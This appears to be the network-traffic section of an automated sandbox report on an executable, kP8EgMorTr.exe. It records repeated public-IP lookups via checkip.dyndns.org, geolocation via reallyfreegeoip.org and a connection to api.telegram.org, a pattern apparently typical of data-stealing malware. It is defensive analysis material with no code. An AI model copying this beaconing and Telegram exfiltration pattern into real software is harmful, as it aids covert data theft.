Jan 6, 2025 07:41:20.110219955 CET	49741	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:20.115010023 CET	80	49741	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:20.921945095 CET	80	49741	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:20.923285007 CET	49750	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:20.923326015 CET	443	49750	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:20.923394918 CET	49750	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:20.923612118 CET	49750	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:20.923625946 CET	443	49750	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:20.969278097 CET	49741	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:21.377892971 CET	443	49750	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:21.380403042 CET	49750	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:21.380429983 CET	443	49750	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:21.513179064 CET	443	49750	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:21.513247967 CET	443	49750	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:21.513303995 CET	49750	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:21.513662100 CET	49750	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:21.517015934 CET	49741	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:21.518205881 CET	49753	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:21.521986008 CET	80	49741	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:21.522042036 CET	49741	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:21.523052931 CET	80	49753	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:21.523118019 CET	49753	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:21.523199081 CET	49753	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:21.528008938 CET	80	49753	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:22.372560024 CET	80	49753	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:22.374929905 CET	49761	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:22.374960899 CET	443	49761	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:22.375036001 CET	49761	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:22.375302076 CET	49761	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:22.375319958 CET	443	49761	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:22.422409058 CET	49753	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:22.850096941 CET	443	49761	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:22.859841108 CET	49761	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:22.859868050 CET	443	49761	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:22.998939037 CET	443	49761	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:22.998992920 CET	443	49761	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:22.999120951 CET	49761	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:22.999409914 CET	49761	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:23.003523111 CET	49766	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:23.008306026 CET	80	49766	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:23.008460045 CET	49766	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:23.008546114 CET	49766	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:23.013318062 CET	80	49766	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:23.799911976 CET	80	49766	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:23.801115036 CET	49772	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:23.801147938 CET	443	49772	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:23.801254034 CET	49772	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:23.801501989 CET	49772	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:23.801515102 CET	443	49772	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:23.844305992 CET	49766	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:24.278697968 CET	443	49772	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:24.280160904 CET	49772	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:24.280185938 CET	443	49772	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:24.431288004 CET	443	49772	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:24.431355000 CET	443	49772	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:24.431505919 CET	49772	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:24.431802988 CET	49772	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:24.434581995 CET	49766	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:24.435622931 CET	49778	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:24.441487074 CET	80	49766	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:24.441503048 CET	80	49778	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:24.441560984 CET	49766	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:24.441593885 CET	49778	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:24.441690922 CET	49778	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:24.446896076 CET	80	49778	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:25.205018044 CET	80	49778	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:25.206211090 CET	49784	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:25.206227064 CET	443	49784	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:25.206305027 CET	49784	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:25.207214117 CET	49784	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:25.207223892 CET	443	49784	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:25.250550032 CET	49778	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:25.671058893 CET	443	49784	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:25.672611952 CET	49784	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:25.672625065 CET	443	49784	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:25.823612928 CET	443	49784	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:25.823666096 CET	443	49784	188.114.97.3	192.168.2.7
Jan 6, 2025 07:41:25.824137926 CET	49784	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:25.824434996 CET	49784	443	192.168.2.7	188.114.97.3
Jan 6, 2025 07:41:25.838157892 CET	49778	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:25.843111992 CET	80	49778	132.226.8.169	192.168.2.7
Jan 6, 2025 07:41:25.843168020 CET	49778	80	192.168.2.7	132.226.8.169
Jan 6, 2025 07:41:25.846384048 CET	49790	443	192.168.2.7	149.154.167.220
Jan 6, 2025 07:41:25.846404076 CET	443	49790	149.154.167.220	192.168.2.7
Jan 6, 2025 07:41:25.846470118 CET	49790	443	192.168.2.7	149.154.167.220
Jan 6, 2025 07:41:25.846894026 CET	49790	443	192.168.2.7	149.154.167.220
Jan 6, 2025 07:41:25.846905947 CET	443	49790	149.154.167.220	192.168.2.7
Jan 6, 2025 07:41:26.456442118 CET	443	49790	149.154.167.220	192.168.2.7
Jan 6, 2025 07:41:26.456518888 CET	49790	443	192.168.2.7	149.154.167.220
Jan 6, 2025 07:41:26.459316969 CET	49790	443	192.168.2.7	149.154.167.220
Jan 6, 2025 07:41:26.459321976 CET	443	49790	149.154.167.220	192.168.2.7
Jan 6, 2025 07:41:26.459552050 CET	443	49790	149.154.167.220	192.168.2.7
Jan 6, 2025 07:41:26.460982084 CET	49790	443	192.168.2.7	149.154.167.220
Jan 6, 2025 07:41:26.503334045 CET	443	49790	149.154.167.220	192.168.2.7
Jan 6, 2025 07:41:26.698102951 CET	443	49790	149.154.167.220	192.168.2.7
Jan 6, 2025 07:41:26.698169947 CET	443	49790	149.154.167.220	192.168.2.7
Jan 6, 2025 07:41:26.698227882 CET	49790	443	192.168.2.7	149.154.167.220
Jan 6, 2025 07:41:26.698637009 CET	49790	443	192.168.2.7	149.154.167.220
Jan 6, 2025 07:41:32.494715929 CET	49753	80	192.168.2.7	132.226.8.169

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 07:41:05.546231985 CET	57277	53	192.168.2.7	1.1.1.1
Jan 6, 2025 07:41:05.553126097 CET	53	57277	1.1.1.1	192.168.2.7
Jan 6, 2025 07:41:07.743949890 CET	60095	53	192.168.2.7	1.1.1.1
Jan 6, 2025 07:41:07.751379013 CET	53	60095	1.1.1.1	192.168.2.7
Jan 6, 2025 07:41:25.838936090 CET	62328	53	192.168.2.7	1.1.1.1
Jan 6, 2025 07:41:25.845702887 CET	53	62328	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 6, 2025 07:41:05.546231985 CET	192.168.2.7	1.1.1.1	0xea15	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:41:07.743949890 CET	192.168.2.7	1.1.1.1	0x68bd	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:41:25.838936090 CET	192.168.2.7	1.1.1.1	0x4e1c	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 07:41:05.553126097 CET	1.1.1.1	192.168.2.7	0xea15	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 07:41:05.553126097 CET	1.1.1.1	192.168.2.7	0xea15	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:41:05.553126097 CET	1.1.1.1	192.168.2.7	0xea15	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:41:05.553126097 CET	1.1.1.1	192.168.2.7	0xea15	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:41:05.553126097 CET	1.1.1.1	192.168.2.7	0xea15	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:41:05.553126097 CET	1.1.1.1	192.168.2.7	0xea15	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:41:07.751379013 CET	1.1.1.1	192.168.2.7	0x68bd	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:41:07.751379013 CET	1.1.1.1	192.168.2.7	0x68bd	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:41:25.845702887 CET	1.1.1.1	192.168.2.7	0x4e1c	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	132.226.8.169	80	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:41:05.580152988 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:41:07.447810888 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 07:41:07.453089952 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:41:07.703239918 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 07:41:08.495987892 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:41:10.763484001 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49707	132.226.8.169	80	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:41:11.396967888 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:41:14.171020031 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49709	132.226.8.169	80	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:41:14.799247026 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:41:15.574734926 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49717	132.226.8.169	80	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:41:16.189749002 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:41:19.941728115 CET	697	IN	HTTP/1.1 504 Gateway Time-out Date: Mon, 06 Jan 2025 06:41:19 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49741	132.226.8.169	80	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:41:20.110219955 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:41:20.921945095 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49753	132.226.8.169	80	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:41:21.523199081 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:41:22.372560024 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49766	132.226.8.169	80	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:41:23.008546114 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:41:23.799911976 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49778	132.226.8.169	80	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:41:24.441690922 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:41:25.205018044 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:25 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	188.114.97.3	443	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:41:08 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:41:08 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:08 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1460457 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xVaotzT3ecLl63OAcd7BI91ehzAI85QtV0e486PZctFaSw2HKj3Swef2O9v6kM6YGMSdG2Gmh09aX%2F8IrGXqRVEw4mQgpAWjEJDP56tDl9rG1KSp%2BnZeZzX1Uv%2Fq%2FvpHsG6ASS0K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9b87b9d2042fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1597&rtt_var=601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1817050&cwnd=248&unsent_bytes=0&cid=4dc63db8c35b5887&ts=243&x=0"
2025-01-06 06:41:08 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49706	188.114.97.3	443	7432	C:\Users\user\Desktop\kP8EgMorTr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:41:11 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 06:41:11 UTC	854	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:41:11 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1460460 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RmkKcjyvHtn33kKWhdvwJuFKw6ykcpR1HcFweyi8wdJ2dz7IzVyj92cI8%2BEBJxf%2BvblbkyfF1dRgty0M8RYG0dkkelw9wu8kZbFKPNvG94nZcQZPjUNgOZbwXvBt1gzXZzwHfpJu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9b88dbaec43f1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4172&min_rtt=1602&rtt_var=2290&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1822721&cwnd=218&unsent_bytes=0&cid=00b6a7e2fcaea1ae&ts=151&x=0"
